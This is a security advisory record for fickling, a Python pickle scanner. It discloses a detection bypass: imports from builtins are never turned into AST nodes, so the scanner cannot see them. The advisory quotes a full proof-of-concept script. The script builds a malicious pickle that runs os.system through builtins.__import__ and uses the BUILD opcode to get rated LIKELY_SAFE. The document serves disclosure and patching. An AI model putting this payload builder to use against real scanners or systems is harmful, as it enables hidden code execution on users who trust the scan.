{"id":"PYSEC-2026-1370","summary":"Fickling vulnerable to detection bypass due to \"builtins\" blindness","details":"#Fickling's assessment\n\nFickling started emitting AST nodes for builtins imports in order to match them during analysis (https://github.com/trailofbits/fickling/commit/9f309ab834797f280cb5143a2f6f987579fa7cdf). \n\n# Original report\n\n### Summary\nFickling works by\nPickle bytecode --\u003e AST --\u003e Security analysis\nHowever while going from bytecode to AST, some import nodes are removed which blinds the security analysis\n\nfickling/fickling/fickle.py\n```python\n    def run(self, interpreter: Interpreter):\n        module, attr = self.module, self.attr\n        if module in (\"__builtin__\", \"__builtins__\", \"builtins\"):\n            # no need to emit an import for builtins!\n            pass\n        else:\n            alias = ast.alias(attr)\n            interpreter.module_body.append(ast.ImportFrom(module=module, names=[alias], level=0))\n        interpreter.stack.append(ast.Name(attr, ast.Load()))\n\n    def encode(self) -\u003e bytes:\n        return f\"c{self.module}\\n{self.attr}\\n\".encode()\n```\nHere we see that no import nodes are emitted for builtins\nHowever builtins is marked as an unsafe import\n\nfickling/fickling/analysis.py\n```python\nUNSAFE_MODULES = {\n        \"__builtin__\": \"This module contains dangerous functions that can execute arbitrary code.\",\n        \"__builtins__\": \"This module contains dangerous functions that can execute arbitrary code.\",\n        \"builtins\": \"This module contains dangerous functions that can execute arbitrary code.\",\n```\n\nBut because there are no import nodes for builtins (they werent emitted when making the AST), the security scanner is effectively blind.\n\nThis can allow for security bypasses like this\n\npoc.py (script to create payload)\n```python\nimport os\n\nGLOBAL = b'c'    # Import module.name\nSTRING = b'S'    # Push string\nTUPLE1 = b'\\x85' # Build tuple of 1\nTUPLE2 = b'\\x86' # Build tuple of 2\nEMPTY_TUPLE = b')'\nREDUCE = b'R'    # Call function\nPUT    = b'p'    # Memoize (Variable assignment)\nGET    = b'g'    # Load from memo (Variable usage)\nPOP    = b'0'    # Discard top of stack\nEMPTY_DICT = b'}'\nSETITEM = b's'   # Add key/value to dict\nBUILD  = b'b'    # Update object state (Liveness satisfy)\nSTOP   = b'.'    # Finish and return stack top\n\ndef generate_raw_payload():\n    payload = b\"\"\n\n    payload += GLOBAL + b\"builtins\\n__import__\\n\"\n    payload += STRING + b\"'os'\\n\"\n    payload += TUPLE1 + REDUCE\n    payload += PUT + b\"0\\n\" # _var0 = os module\n    payload += POP\n\n    payload += GLOBAL + b\"builtins\\ngetattr\\n\"\n    payload += GET + b\"0\\n\" # os module\n    payload += STRING + b\"'system'\\n\"\n    payload += TUPLE2 + REDUCE\n    payload += PUT + b\"1\\n\" # _var1 = os.system\n    payload += POP\n\n    payload += GET + b\"1\\n\" # os.system\n    payload += STRING + b\"'whoami'\\n\" # COMMAND\n    payload += TUPLE1 + REDUCE\n    payload += PUT + b\"2\\n\" \n    payload += POP\n\n    payload += GLOBAL + b\"builtins\\nException\\n\"\n    payload += EMPTY_TUPLE + REDUCE\n    payload += PUT + b\"3\\n\"\n    \n    payload += EMPTY_DICT\n    payload += STRING + b\"'rce_status'\\n\"\n    payload += GET + b\"2\\n\" \n    payload += SETITEM  \n    \n    payload += BUILD\n    \n    payload += STOP\n\n    return payload\n\nif __name__ == \"__main__\":\n    data = generate_raw_payload()\n    with open(\"raw_bypass.pkl\", \"wb\") as f:\n        f.write(data)\n    \n    print(\"Generated 'raw_bypass.pkl'\")\n```\n\nThis creates a pickle file which imports the OS module using __import__ which is a part of builtins. if the security scanner wasnt blinded it would have been flagged immidiately.\n\nHowever now fickling sees the pickle payload as\n\n```python\n_var0 = __import__('os')\n_var1 = getattr(_var0, 'system')\n_var2 = _var1('whoami')\n_var3 = Exception()\n_var4 = _var3\n_var4.__setstate__({'rce_status': _var2})\nresult0 = _var4\n```\n\n\u003cimg width=\"810\" height=\"182\" alt=\"image\" src=\"https://github.com/user-attachments/assets/5bfe8c34-7bc0-429f-83ce-d0c2f1928aca\" /\u003e\n\n\nAs you can see there is no mention of builtins anywhere so it isnt flagged\n\nAdditionally, the payload builder uses a technique to ensure that no variable get flagged as \"UNUSED\"\nWe deceive the data flow analysis heuristic by using the BUILD opcode to update an objects internal state. \nBy taking the result of os.system (the exit code) and using it as a value in a dictionary that is then \"built\" into a returned exception object, we create a logical dependency chain.\n\nThe end result is that the malicious pickle gets classified as LIKELY_SAFE\n\nFixes: \nEnsure that import objects are emitted for imports from builtins depending on what those imports are, say emit import nodes for dangerous functions like ```__import__``` while not emitting for stuff like ```dict()```","aliases":["CVE-2026-22612","GHSA-h4rm-mm56-xf63"],"modified":"2026-07-07T17:47:13.940586228Z","published":"2026-07-07T16:03:17.806588Z","references":[{"type":"WEB","url":"https://github.com/trailofbits/fickling/security/advisories/GHSA-h4rm-mm56-xf63"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-22612"},{"type":"WEB","url":"https://github.com/trailofbits/fickling/pull/195"},{"type":"WEB","url":"https://github.com/trailofbits/fickling/commit/9f309ab834797f280cb5143a2f6f987579fa7cdf"},{"type":"PACKAGE","url":"https://github.com/trailofbits/fickling"},{"type":"WEB","url":"https://github.com/trailofbits/fickling/blob/977b0769c13537cd96549c12bb537f05464cf09c/test/test_bypasses.py#L349"},{"type":"WEB","url":"https://github.com/trailofbits/fickling/releases/tag/v0.1.7"},{"type":"PACKAGE","url":"https://pypi.org/project/fickling"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-h4rm-mm56-xf63"}],"affected":[{"package":{"name":"fickling","ecosystem":"PyPI","purl":"pkg:pypi/fickling"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.1.7"}]}],"versions":["0.0.1","0.0.2","0.0.3","0.0.4","0.0.5","0.0.6","0.0.7","0.0.8","0.1.2","0.1.3","0.1.4","0.1.5","0.1.6"],"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/fickling/PYSEC-2026-1370.yaml"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P"}]}